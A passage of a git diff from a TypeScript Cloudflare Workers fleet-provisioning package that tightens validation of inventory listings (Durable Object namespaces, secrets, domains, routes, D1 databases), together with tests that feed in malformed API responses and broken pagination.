Set(requestedIds); const existing = new Set(); for await (const namespace of this.#collectBounded( - this.#client.durableObjects.namespaces.list({ + this.#inventoryProofClient.durableObjects.namespaces.list({ account_id: this.#accountId, }), 'Durable Object namespace inventory', )) { - if (namespace.id && requested.has(namespace.id)) { - existing.add(namespace.id); - } + const id = readStringField(namespace, 'id'); + if (!id) + throw new Error('Durable Object namespace inventory has an invalid ID'); + if (requested.has(id)) existing.add(id); } return [...existing].sort(); } @@ -1763,14 +1901,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (!scriptName) throw new Error('scriptName is required'); const namespaceIds: string[] = []; for await (const namespace of this.#collectBounded( - this.#client.durableObjects.namespaces.list({ + this.#inventoryProofClient.durableObjects.namespaces.list({ account_id: this.#accountId, }), 'Durable Object namespace inventory', )) { - if (namespace.script === scriptName && namespace.id) { - namespaceIds.push(namespace.id); - } + const id = readStringField(namespace, 'id'); + const script = readStringField(namespace, 'script'); + if (!id || !script) + throw new Error( + 'Durable Object namespace inventory has an invalid ID or script association', + ); + if (script === scriptName) namespaceIds.push(id); } return [...new Set(namespaceIds)].sort(); } @@ -1826,12 +1968,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { await this.#schedule(async () => { const currentSecretNames: string[] = []; for await (const secret of this.#collectBounded( - this.#client.workers.scripts.secrets.list(scriptName, { + this.#inventoryProofClient.workers.scripts.secrets.list(scriptName, { account_id: this.#accountId, }), 'ordinary Worker secret inventory', )) { - if (!secret.name) { + if (!readStringField(secret, 'name')) { throw new Error( `control Worker '${scriptName}' returned a secret without a name`, ); @@ -1859,12 +2001,17 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } const secretNames: string[] = []; for await (const secret of this.#collectBounded( - this.#client.workers.scripts.secrets.list(scriptName, { + this.#inventoryProofClient.workers.scripts.secrets.list(scriptName, { account_id: this.#accountId, }), 'ordinary Worker secret inventory', )) { - if (secret.name) secretNames.push(secret.name); + const name = readStringField(secret, 'name'); + if (!name) + throw new Error( + 'ordinary Worker secret inventory has an invalid name', + ); + secretNames.push(name); } secretNames.sort(); if (JSON.stringify(secretNames) !== JSON.stringify(desiredSecretNames)) { @@ -2023,20 +2170,45 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ); const routeHostnames: string[] = []; for await (const domain of this.#collectBounded( - this.#client.workers.domains.list({ account_id: this.#accountId }), + this.#inventoryProofClient.workers.domains.list({ + account_id: this.#accountId, + }), 'custom domain inventory', )) { - if (domain.service === scriptName) + if (!readStringField(domain, 'service')) + throw new Error('custom domain inventory has an invalid service'); + if (domain.service === scriptName) { + if (!readStringField(domain, 'hostname')) + throw new Error( + 'custom domain inventory has an invalid hostname', + ); routeHostnames.push(domain.hostname); + } } const zoneRoutes: import('./types.js').WorkerZoneRoute[] = []; const workerRouteZoneIds = await this.#workerRouteZoneIds(); for (const zoneId of workerRouteZoneIds) { for await (const route of this.#collectBounded( - this.#client.workers.routes.list({ zone_id: zoneId }), + this.#inventoryProofClient.workers.routes.list({ zone_id: zoneId }), 'Worker zone-route inventory', )) { - if (route.script !== scriptName) continue; + const script = readField(route, 'script'); + if ( + script !== undefined && + script !== null && + typeof script !== 'string' + ) + throw new Error( + 'Worker zone-route inventory has an invalid script', + ); + if (script !== scriptName) continue; + if ( + !readStringField(route, 'id') || + !readStringField(route, 'pattern') + ) + throw new Error( + 'Worker zone-route inventory has an invalid ID or pattern', + ); zoneRoutes.push({ zoneId, routeId: route.id, @@ -2079,12 +2251,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { try { const names: string[] = []; for await (const secret of this.#collectBounded( - this.#client.workers.scripts.secrets.list(scriptName, { - account_id: this.#accountId, - }), + this.#inventoryProofClient.workers.scripts.secrets.list( + scriptName, + { + account_id: this.#accountId, + }, + ), 'ordinary Worker secret inventory', )) { - if (!secret.name) { + if (!readStringField(secret, 'name')) { throw new Error( `control Worker '${scriptName}' returned a secret without a name`, ); @@ -2131,10 +2306,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (!isNotFound(error)) throw error; } for await (const domain of this.#collectBounded( - this.#client.workers.domains.list({ account_id: this.#accountId }), + this.#inventoryProofClient.workers.domains.list({ + account_id: this.#accountId, + }), 'custom domain inventory', )) { - if (domain.service !== scriptName || !domain.id) continue; + if (!readStringField(domain, 'service')) + throw new Error('custom domain inventory has an invalid service'); + if (domain.service !== scriptName) continue; + if (!readStringField(domain, 'id')) + throw new Error('custom domain inventory has an invalid ID'); try { await this.#client.workers.domains.delete(domain.id, { account_id: this.#accountId, @@ -2145,10 +2326,21 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } for (const zoneId of workerRouteZoneIds) { for await (const route of this.#collectBounded( - this.#client.workers.routes.list({ zone_id: zoneId }), + this.#inventoryProofClient.workers.routes.list({ zone_id: zoneId }), 'Worker zone-route inventory', )) { - if (route.script !== scriptName) continue; + const script = readField(route, 'script'); + if ( + script !== undefined && + script !== null && + typeof script !== 'string' + ) + throw new Error( + 'Worker zone-route inventory has an invalid script', + ); + if (script !== scriptName) continue; + if (!readStringField(route, 'id')) + throw new Error('Worker zone-route inventory has an invalid ID'); try { await this.#client.workers.routes.delete(route.id, { zone_id: zoneId, @@ -2224,7 +2416,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { await this.#schedule(async () => { const matches = []; for await (const queue of this.#collectBounded( - this.#client.queues.list({ account_id: this.#accountId }), + this.#inventoryProofClient.queues.list({ account_id: this.#accountId }), 'queue inventory', )) { if (queue.queue_name === options.queueName && queue.queue_id) { @@ -2240,7 +2432,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (!queueId) throw new Error('audit queue result has no queue_id'); const consumers = []; for await (const consumer of this.#collectBounded( - this.#client.queues.consumers.list(queueId, { + this.#inventoryProofClient.queues.consumers.list(queueId, { account_id: this.#accountId, }), 'queue consumer inventory', @@ -2293,7 +2485,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } const finalConsumers = []; for await (const consumer of this.#collectBounded( - this.#client.queues.consumers.list(queueId, { + this.#inventoryProofClient.queues.consumers.list(queueId, { account_id: this.#accountId, }), 'queue consumer inventory', @@ -2807,18 +2999,19 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const dispatchNamespace = this.#requireDispatchNamespace('putDispatchSecrets'); await this.#schedule(async () => { - const scripts = - this.#client.workersForPlatforms.dispatch.namespaces.scripts; const listSecretNames = async (): Promise => { const names: string[] = []; for await (const secret of this.#collectBounded( - scripts.secrets.list(scriptName, { - account_id: this.#accountId, - dispatch_namespace: dispatchNamespace, - }), + this.#inventoryProofClient.workersForPlatforms.dispatch.namespaces.scripts.secrets.list( + scriptName, + { + account_id: this.#accountId, + dispatch_namespace: dispatchNamespace, + }, + ), 'dispatch Worker secret inventory', )) { - if (!secret.name) { + if (!readStringField(secret, 'name')) { throw new Error( `dispatch Worker '${scriptName}' returned a secret without a name`, ); @@ -3058,13 +3251,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { try { const names: string[] = []; for await (const secret of this.#collectBounded( - scripts.secrets.list(scriptName, { - account_id: this.#accountId, - dispatch_namespace: dispatchNamespace, - }), + this.#inventoryProofClient.workersForPlatforms.dispatch.namespaces.scripts.secrets.list( + scriptName, + { + account_id: this.#accountId, + dispatch_namespace: dispatchNamespace, + }, + ), 'dispatch Worker secret inventory', )) { - if (!secret.name) { + if (!readStringField(secret, 'name')) { throw new Error( `dispatch Worker '${scriptName}' returned a secret without a name`, ); diff --git a/packages/fleet-control/src/cloudflare-fleet-inventory.ts b/packages/fleet-control/src/cloudflare-fleet-inventory.ts index 851f7fb6..03e5ed33 100644 --- a/packages/fleet-control/src/cloudflare-fleet-inventory.ts +++ b/packages/fleet-control/src/cloudflare-fleet-inventory.ts @@ -846,7 +846,11 @@ async function customDomains( CLOUDFLARE_INVENTORY_BOUND, ); } + if (typeof domain.service !== 'string' || !domain.service) + throw new Error('custom domain inventory has an invalid service'); if (domain.service.startsWith(context.options.scriptNamePrefix)) { + if (typeof domain.hostname !== 'string' || !domain.hostname) + throw new Error('custom domain inventory has an invalid hostname'); matched.push({ hostname: domain.hostname, service: domain.service }); } } @@ -884,10 +888,21 @@ async function zoneRoutesForZone( ); } if ( - route.script?.startsWith(context.options.scriptNamePrefix) && - route.id && - route.pattern - ) { + route.script !== undefined && + route.script !== null && + typeof route.script !== 'string' + ) + throw new Error('Worker zone-route inventory has an invalid script'); + if (route.script?.startsWith(context.options.scriptNamePrefix)) { + if ( + typeof route.id !== 'string' || + !route.id || + typeof route.pattern !== 'string' || + !route.pattern + ) + throw new Error( + 'Worker zone-route inventory has an invalid ID or pattern', + ); matched.push({ zoneId, routeId: route.id, @@ -934,7 +949,9 @@ async function ordinaryScriptNames( ...(context.signal ? { signal: context.signal } : {}), }); for (const script of page.scripts) { - if (!script.id?.startsWith(context.options.scriptNamePrefix)) continue; + if (typeof script.id !== 'string' || !script.id) + throw new Error('ordinary Worker script inventory has an invalid ID'); + if (!script.id.startsWith(context.options.scriptNamePrefix)) continue; matched.push(script.id); if (matched.length > CLOUDFLARE_INVENTORY_BOUND) { throw inventoryBoundExceeded( @@ -1618,7 +1635,11 @@ async function advanceOrdinaryScripts( context.identity.observe([ 'ordinary-scripts', cursor ?? null, - page.scripts.map((script) => script.id ?? null), + page.scripts.map((script) => { + if (typeof script.id !== 'string' || !script.id) + throw new Error('ordinary Worker script inventory has an invalid ID'); + return script.id; + }), page.cursor ?? null, ]); for (const script of page.scripts) { @@ -1820,9 +1841,13 @@ async function advanceDatabases( ); } if ( - database.uuid && - database.name?.startsWith(context.options.databaseNamePrefix) - ) { + typeof database.uuid !== 'string' || + !database.uuid || + typeof database.name !== 'string' || + !database.name + ) + throw new Error('D1 database inventory has an invalid uuid or name'); + if (database.name.startsWith(context.options.databaseNamePrefix)) { context.sink.add('database-id', { record: 'database-id', databaseId: database.uuid, @@ -1867,10 +1892,17 @@ async function advanceDurableObjectNamespaces( ); } if ( - namespace.id && - namespace.script && - (registeredScriptNames.has(namespace.script) || - namespace.script.startsWith(context.options.scriptNamePrefix)) + typeof namespace.id !== 'string' || + namespace.id.length === 0 || + typeof namespace.script !== 'string' || + namespace.script.length === 0 + ) + throw new Error( + 'Durable Object namespace inventory has incomplete identity or association', + ); + if ( + registeredScriptNames.has(namespace.script) || + namespace.script.startsWith(context.options.scriptNamePrefix) ) { context.sink.add('namespace-id', { record: 'namespace-id', diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index d02ac428..a07700c4 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -138,6 +138,8 @@ export function workerMigrations( export interface OrdinaryWorkerContext { readonly accountId: string; readonly client: CloudflareSdk; + readonly inventoryClient: CloudflareSdk; + readonly versionInventoryClient: CloudflareSdk; schedule(operation: () => Promise): Promise; collectBounded( iterable: AsyncIterable | Iterable, @@ -156,7 +158,12 @@ type OrdinaryWorkerBaseContext = Pick< >; type OrdinaryWorkerPagedContext = Pick< OrdinaryWorkerContext, - 'accountId' | 'client' | 'schedule' | 'collectBounded' + | 'accountId' + | 'client' + | 'inventoryClient' + | 'versionInventoryClient' + | 'schedule' + | 'collectBounded' >; type OrdinaryWorkerFencedContext = Pick< OrdinaryWorkerContext, @@ -164,11 +171,16 @@ type OrdinaryWorkerFencedContext = Pick< >; type OrdinaryWorkerFootprintContext = Pick< OrdinaryWorkerContext, - 'accountId' | 'client' | 'schedule' | 'collectBounded' | 'workerRouteZoneIds' + | 'accountId' + | 'client' + | 'inventoryClient' + | 'schedule' + | 'collectBounded' + | 'workerRouteZoneIds' >; type OrdinaryWorkerCollectContext = Pick< OrdinaryWorkerContext, - 'accountId' | 'client' | 'collectBounded' + 'accountId' | 'inventoryClient' | 'collectBounded' >; export async function listOrdinaryWorkerSecretNames( @@ -185,17 +197,18 @@ export async function ordinaryWorkerSecretNames( const names: string[] = []; try { for await (const secret of context.collectBounded( - context.client.workers.scripts.secrets.list(scriptName, { + context.inventoryClient.workers.scripts.secrets.list(scriptName, { account_id: context.accountId, }), 'ordinary Worker secret inventory', )) { - if (!secret.name) { + const name = readStringField(secret, 'name'); + if (!name) { throw new Error( `ordinary Worker '${scriptName}' returned a secret without a name`, ); } - names.push(secret.name); + names.push(name); } } catch (error) { if (isNotFound(error)) return []; @@ -211,7 +224,7 @@ export async function listOrdinaryWorkerDatabases( return context.schedule(async () => { const databases: PlainWorkerDatabaseInventoryEntry[] = []; for await (const database of context.collectBounded( - context.client.d1.database.list({ + context.inventoryClient.d1.database.list({ account_id: context.accountId, per_page: 100, ...(filter?.name === undefined ? {} : { name: filter.name }), @@ -219,10 +232,11 @@ export async function listOrdinaryWorkerDatabases( 'D1 database inventory', MAX_DATABASE_INVENTORY, )) { - databases.push({ - databaseId: readStringField(database, 'uuid'), - name: readStringField(database, 'name'), - }); + const databaseId = readStringField(database, 'uuid'); + const name = readStringField(database, 'name'); + if (!databaseId || !name) + throw new Error('D1 database inventory has an invalid uuid or name'); + databases.push({ databaseId, name }); } return databases; }); @@ -270,10 +284,13 @@ export async function listOrdinaryWorkerVersions( try { const versions: PlainWorkerVersionSummary[] = []; for await (const version of context.collectBounded( - context.client.workers.scripts.versions.list(scriptName, { - account_id: context.accountId, - per_page: 100, - }), + context.versionInventoryClient.workers.scripts.versions.list( + scriptName, + { + account_id: context.accountId, + per_page: 100, + }, + ), 'ordinary Worker version inventory', MAX_VERSION_INVENTORY, )) { @@ -554,10 +571,16 @@ export async function listCustomDomains( return context.schedule(async () => { const domains: Array = []; for await (const domain of context.collectBounded( - context.client.workers.domains.list({ account_id: context.accountId }), + context.inventoryClient.workers.domains.list({ + account_id: context.accountId, + }), 'custom domain inventory', )) { - if (!domain.id || !domain.hostname || !domain.service) { + if ( + !readStringField(domain, 'id') || + !readStringField(domain, 'hostname') || + !readStringField(domain, 'service') + ) { throw new Error( 'Cloudflare returned incomplete custom-domain metadata', ); @@ -656,10 +679,15 @@ export async function inspectOrdinaryWorkerFootprint( return context.schedule(async () => { let scriptPresent = false; for await (const script of context.collectBounded( - context.client.workers.scripts.list({ account_id: context.accountId }), + context.inventoryClient.workers.scripts.list({ + account_id: context.accountId, + }), 'ordinary Worker script inventory', )) { - if (script.id === scriptName) scriptPresent = true; + const id = readStringField(script, 'id'); + if (!id) + throw new Error('ordinary Worker script inventory has an invalid ID'); + if (id === scriptName) scriptPresent = true; } const customDomains: Array<{ id: string; @@ -667,11 +695,19 @@ export async function inspectOrdinaryWorkerFootprint( service: string; }> = []; for await (const domain of context.collectBounded( - context.client.workers.domains.list({ account_id: context.accountId }), + context.inventoryClient.workers.domains.list({ + account_id: context.accountId, + }), 'custom domain inventory', )) { - if (domain.service !== scriptName) continue; - if (!domain.id || !domain.hostname) { + const service = readStringField(domain, 'service'); + if (!service) + throw new Error('custom domain inventory has an invalid service'); + if (service !== scriptName) continue; + if ( + !readStringField(domain, 'id') || + !readStringField(domain, 'hostname') + ) { throw new Error( `ordinary Worker '${scriptName}' has incomplete custom-domain metadata`, ); @@ -685,11 +721,21 @@ export async function inspectOrdinaryWorkerFootprint( const zoneRoutes: import('./types.js').WorkerZoneRoute[] = []; for (const zoneId of await context.workerRouteZoneIds()) { for await (const route of context.collectBounded( - context.client.workers.routes.list({ zone_id: zoneId }), + context.inventoryClient.workers.routes.list({ zone_id: zoneId }), 'Worker zone-route inventory', )) { - if (route.script !== scriptName) continue; - if (!route.id || !route.pattern) { + const script = readField(route, 'script'); + if ( + script !== undefined && + script !== null && + typeof script !== 'string' + ) + throw new Error('Worker zone-route inventory has an invalid script'); + if (script !== scriptName) continue; + if ( + !readStringField(route, 'id') || + !readStringField(route, 'pattern') + ) { throw new Error( `ordinary Worker '${scriptName}' has incomplete zone-route metadata`, ); diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index d64eb44e..dea44aba 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -342,15 +342,18 @@ export class PlainWorkerBackend implements ProvisioningBackend { ): Promise { const listed = await this.#api.listDatabases({ name: spec.databaseName }); // A name filter narrows the listing toward the name, so compare exactly. - const matches = listed.filter( - (database) => database.name === spec.databaseName, - ); + const matches = listed.filter((database) => { + if (typeof database.name !== 'string' || !database.name) + throw new Error('D1 list result has no name'); + return database.name === spec.databaseName; + }); if (matches.length > 1) { throw new Error(`multiple D1 databases are named '${spec.databaseName}'`); } if (matches[0]) { const id = matches[0].databaseId; - if (!id) throw new Error('D1 list result has no uuid'); + if (typeof id !== 'string' || !id) + throw new Error('D1 list result has no uuid'); return { id, name: spec.databaseName, created: false }; } return undefined; diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index d24e15e3..421b6046 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -34,20 +34,30 @@ import type { import type { CommandResult, CommandRunner } from './wrangler-runner.js'; function parseJson(value: string, operation: string): unknown { + let parsed: unknown; try { - return JSON.parse(value); + parsed = JSON.parse(value); } catch (cause) { throw new Error(`wrangler ${operation} returned invalid JSON`, { cause }); } + const success = readField(parsed, 'success'); + const errors = readField(parsed, 'errors'); + if ( + (success !== undefined && success !== true) || + (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) + ) + throw new Error(`wrangler ${operation} returned a failed inventory result`); + return parsed; } function asArray(value: unknown): readonly unknown[] { if (Array.isArray(value)) return value; if (value && typeof value === 'object' && 'result' in value) { - const result = (value as { result?: unknown }).result; - return Array.isArray(result) ? result : result ? [result] : []; + const result = readField(value, 'result'); + if (Array.isArray(result)) return result; + if (result && typeof result === 'object') return [result]; } - return []; + throw new Error('Wrangler inventory result has an invalid list shape'); } function isWranglerNotFound(error: unknown): boolean { @@ -295,10 +305,13 @@ export class WranglerPlainWorkerProvisioningApi // The pinned Wrangler command has no name flag, so the adapter filters // the parsed inventory. return asArray(parseJson(listed.stdout, 'd1 list')) - .map((database) => ({ - databaseId: readStringField(database, 'uuid'), - name: readStringField(database, 'name'), - })) + .map((database) => { + const databaseId = readStringField(database, 'uuid'); + const name = readStringField(database, 'name'); + if (!databaseId || !name) + throw new Error('D1 database inventory has an invalid uuid or name'); + return { databaseId, name }; + }) .filter( (database) => filter?.name === undefined || database.name === filter.name, @@ -422,7 +435,7 @@ export class WranglerPlainWorkerProvisioningApi versionId: readVersionId(parsed), tag: versionTag(parsed), bindings: providerBindingsToPlainWorkerShape( - asArray(readField(resources, 'bindings')), + asArray(readField(resources, 'bindings') ?? []), ), }; } diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 0905af12..14c2c7fa 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -858,7 +858,7 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { } }); - it('reads undefined-tolerant database and deployment facts', async () => { + it('refuses incomplete database identity and retains raw deployment facts', async () => { const fixture = recordingFetch(({ url }) => { const target = new URL(url); if (target.pathname.endsWith('/d1/database')) { @@ -880,10 +880,9 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { throw new Error(`unexpected request ${target.pathname}`); }); const client = plainClient({ fetch: fixture.fetch }); - await expect(client.listOrdinaryWorkerDatabases()).resolves.toEqual([ - { databaseId: 'db', name: 'name' }, - { databaseId: undefined, name: undefined }, - ]); + await expect(client.listOrdinaryWorkerDatabases()).rejects.toThrow( + 'D1 database inventory has an invalid uuid or name', + ); await expect( client.ordinaryWorkerDeploymentStatus('plain'), ).resolves.toEqual({ diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index 76758ccc..b241bbb3 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -3241,3 +3241,438 @@ function activeRouteClient( }, }); } + +describe('inventory absence proofs', () => { + const readers = [ + { + name: 'R2 emptiness', + path: '/client/v4/accounts/account/r2/buckets/bucket/objects', + read: (client: CloudflareProvisioningClient) => + client.assertR2BucketEmpty({ + name: 'DATA', + bucketName: 'bucket', + jurisdiction: 'default', + }), + }, + { + name: 'namespace IDs', + path: '/client/v4/accounts/account/workers/durable_objects/namespaces', + read: (client: CloudflareProvisioningClient) => + client.existingDurableObjectNamespaceIds(['target']), + }, + { + name: 'namespace parent', + path: '/client/v4/accounts/account/workers/durable_objects/namespaces', + read: (client: CloudflareProvisioningClient) => + client.listDurableObjectNamespaces('target-script'), + }, + ]; + function fixture(path: string, reply: (url: URL) => Response) { + const requests: URL[] = []; + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const url = new URL(new Request(input, init).url); + expect(url.pathname).toBe(path); + requests.push(url); + return reply(url); + }, + }); + return { client, requests }; + } + const malformed = [ + { label: 'missing result', body: { success: true } }, + { label: 'missing success', body: { result: [] } }, + { label: 'failed success', body: { success: false, result: [] } }, + { label: 'null result', body: { success: true, result: null } }, + { label: 'false result', body: { success: true, result: false } }, + { label: 'string result', body: { success: true, result: 'invalid' } }, + { + label: 'error metadata', + body: { success: true, result: [], errors: [{ code: 1 }] }, + }, + { + label: 'continuing empty page', + body: { success: true, result: [], result_info: { cursor: 'next' } }, + }, + { + label: 'invalid cursor', + body: { success: true, result: [], result_info: { cursor: 1 } }, + }, + { + label: 'invalid page info', + body: { success: true, result: [], result_info: [] }, + }, + ]; + it.each( + readers.flatMap((reader) => + malformed.map((input) => ({ ...reader, ...input })), + ), + )('$name refuses $label', async ({ path, read, body }) => { + const { client } = fixture(path, (url) => + Number(url.searchParams.get('page') ?? '1') > 1 + ? envelope([]) + : Response.json(body), + ); + await expect(read(client)).rejects.toThrow(); + }); + it.each( + readers, + )('$name accepts a successful empty list and preserves permission failure', async ({ + path, + read, + name, + }) => { + const empty = fixture(path, () => envelope([])); + expect(await read(empty.client)).toEqual( + name === 'R2 emptiness' ? undefined : [], + ); + const denied = fixture(path, () => + Response.json({ success: false, errors: [{ code: 1 }] }, { status: 403 }), + ); + await expect(read(denied.client)).rejects.toMatchObject({ status: 403 }); + }); + it.each( + readers, + )('$name rejects non-JSON and partial success responses', async ({ + path, + read, + }) => { + for (const response of [ + new Response('{"success":true,"result":[]}', { + headers: { 'Content-Type': 'text/plain' }, + }), + Response.json({ success: true, result: [] }, { status: 206 }), + ]) { + const { client } = fixture(path, () => response); + await expect(read(client)).rejects.toThrow(); + } + }); + it.each([ + {}, + { key: '' }, + { key: null }, + { key: 0 }, + { key: 'present' }, + null, + ])('R2 refuses a yielded row %#', async (row) => { + const reader = readers[0]; + if (!reader) throw new Error('missing R2 reader'); + const { client } = fixture(reader.path, () => envelope([row])); + await expect(reader.read(client)).rejects.toThrow(); + }); + it.each([ + {}, + { id: '' }, + { id: null }, + { id: 1 }, + ])('namespace readers refuse incomplete IDs %#', async (row) => { + for (const reader of readers.slice(1)) { + const { client } = fixture(reader.path, (url) => + Number(url.searchParams.get('page') ?? '1') > 1 + ? envelope([]) + : envelope([{ ...row, script: 'target-script' }]), + ); + await expect(reader.read(client)).rejects.toThrow(); + } + }); + it.each([ + undefined, + '', + null, + 1, + ])('parent reader refuses incomplete association %#', async (script) => { + const reader = readers[2]; + if (!reader) throw new Error('missing parent reader'); + const { client } = fixture(reader.path, (url) => + Number(url.searchParams.get('page') ?? '1') > 1 + ? envelope([]) + : envelope([{ id: 'target', script }]), + ); + await expect(reader.read(client)).rejects.toThrow(); + }); + it('retains exact ID membership without requiring an unused parent association', async () => { + const reader = readers[1]; + if (!reader) throw new Error('missing ID reader'); + const { client } = fixture(reader.path, (url) => + Number(url.searchParams.get('page') ?? '1') > 1 + ? envelope([]) + : envelope([{ id: 'target' }]), + ); + expect(await reader.read(client)).toEqual(['target']); + }); + it.each(readers.slice(1))('$name refuses a malformed later page', async ({ + path, + read, + }) => { + const { client, requests } = fixture(path, (url) => + Number(url.searchParams.get('page') ?? '1') === 1 + ? envelope([{ id: 'other', script: 'other' }]) + : Response.json({ success: true }), + ); + await expect(read(client)).rejects.toThrow(); + expect(requests).toHaveLength(2); + }); + it.each( + readers + .slice(1) + .flatMap((reader) => [1, 2].map((gap) => ({ ...reader, gap }))), + )('$name refuses a numbered gap on page $gap', async ({ + path, + read, + gap, + }) => { + const { client, requests } = fixture(path, (url) => { + const page = Number(url.searchParams.get('page') ?? '1'); + const result = + page < gap + ? [{ id: 'other', script: 'other' }] + : page === gap + ? [] + : [{ id: 'target', script: 'target-script' }]; + return Response.json({ + success: true, + result, + result_info: { page, per_page: 1, total_pages: gap + 1 }, + }); + }); + await expect(read(client)).rejects.toThrow(); + expect(requests).toHaveLength(gap); + }); + it.each(readers.slice(1))('$name completes numbered pagination', async ({ + path, + read, + }) => { + const { client, requests } = fixture(path, (url) => { + const page = Number(url.searchParams.get('page') ?? '1'); + return Response.json({ + success: true, + result: + page === 1 + ? [{ id: 'other', script: 'other' }] + : page === 2 + ? [{ id: 'target', script: 'target-script' }] + : [], + result_info: { page, per_page: 1, total_count: 2, total_pages: 2 }, + }); + }); + expect(await read(client)).toEqual(['target']); + expect( + requests.map((url) => Number(url.searchParams.get('page') ?? '1')), + ).toEqual([1, 2, 3]); + }); +}); + +describe('inventory proof consumers', () => { + it.each([ + { name: 'target' }, + { uuid: '', name: 'target' }, + { uuid: 42, name: 'target' }, + { uuid: 'database' }, + { uuid: 'database', name: '' }, + { uuid: 'database', name: 42 }, + ])('D1 readers refuse incomplete identities %#', async (row) => { + for (const read of [ + (client: CloudflareProvisioningClient) => client.findDatabase('target'), + (client: CloudflareProvisioningClient) => + client.listOrdinaryWorkerDatabases({ name: 'target' }), + ]) { + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const page = Number( + new URL(new Request(input, init).url).searchParams.get('page') ?? + '1', + ); + return envelope(page === 1 ? [row] : []); + }, + }); + await expect(read(client)).rejects.toThrow(/D1/); + } + }); + it.each([ + {}, + { namespace_name: '' }, + { namespace_name: 42 }, + ])('refuses unknown namespace identity before creating %#', async (row) => { + const writes: string[] = []; + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + dispatchNamespace: 'fleet', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const request = new Request(input, init); + const url = new URL(request.url); + if (request.method !== 'GET') writes.push(request.method); + if (url.pathname.endsWith('/namespaces') && request.method === 'GET') + return envelope( + Number(url.searchParams.get('page') ?? '1') === 1 ? [row] : [], + ); + return envelope({ + namespace_name: 'fleet', + trusted_workers: false, + script_count: 0, + }); + }, + }); + await expect( + fenced(client, () => client.ensureDispatchNamespace()), + ).rejects.toThrow(/namespace/); + expect(writes).toEqual([]); + }); + const secretReaders = [ + { + name: 'ordinary read', + run: (client: CloudflareProvisioningClient) => + client.listOrdinaryWorkerSecretNames('worker'), + }, + { + name: 'control revoke', + run: (client: CloudflareProvisioningClient) => + client.revokeControlSecrets('worker'), + }, + { + name: 'control convergence', + run: (client: CloudflareProvisioningClient) => + client.putControlSecrets('worker', {}), + }, + { + name: 'dispatch revoke', + run: (client: CloudflareProvisioningClient) => + client.revokeDispatchSecrets('worker'), + }, + { + name: 'dispatch convergence', + run: (client: CloudflareProvisioningClient) => + client.putDispatchSecrets('worker', { + deploymentIdentity: 'identity', + maintenanceAdmin: 'maintenance', + }), + }, + ]; + it.each( + secretReaders.flatMap((reader) => + [undefined, [{ name: 42 }], [{}]].map((result) => ({ + ...reader, + result, + })), + ), + )('$name rejects incomplete secret inventory %#', async ({ run, result }) => { + const writes: string[] = []; + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + dispatchNamespace: 'fleet', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const request = new Request(input, init); + if (request.method !== 'GET') writes.push(request.method); + return Response.json({ success: true, result }); + }, + }); + await expect( + fenced(client, async () => { + await run(client); + }), + ).rejects.toThrow(); + expect(writes).toEqual([]); + }); + it.each( + secretReaders.slice(1), + )('$name refuses incomplete post-mutation readback', async ({ run }) => { + let reads = 0; + let writes = 0; + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + dispatchNamespace: 'fleet', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const request = new Request(input, init); + if (request.method !== 'GET') { + writes++; + return envelope(null); + } + return ++reads === 1 + ? envelope([{ name: 'OLD_SECRET' }]) + : Response.json({ success: true }); + }, + }); + await expect( + fenced(client, async () => { + await run(client); + }), + ).rejects.toThrow(); + expect(writes).toBe(1); + expect(reads).toBe(2); + }); + it.each([ + '/workers/scripts', + '/workers/domains', + '/zones', + '/workers/routes', + ])('footprint refuses an incomplete %s listing', async (suffix) => { + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const url = new URL(new Request(input, init).url); + if (url.pathname.endsWith(suffix)) + return Response.json({ success: true }); + return zoneAuthorityResponse(url, ['zone-1'], []) ?? envelope([]); + }, + }); + await expect( + 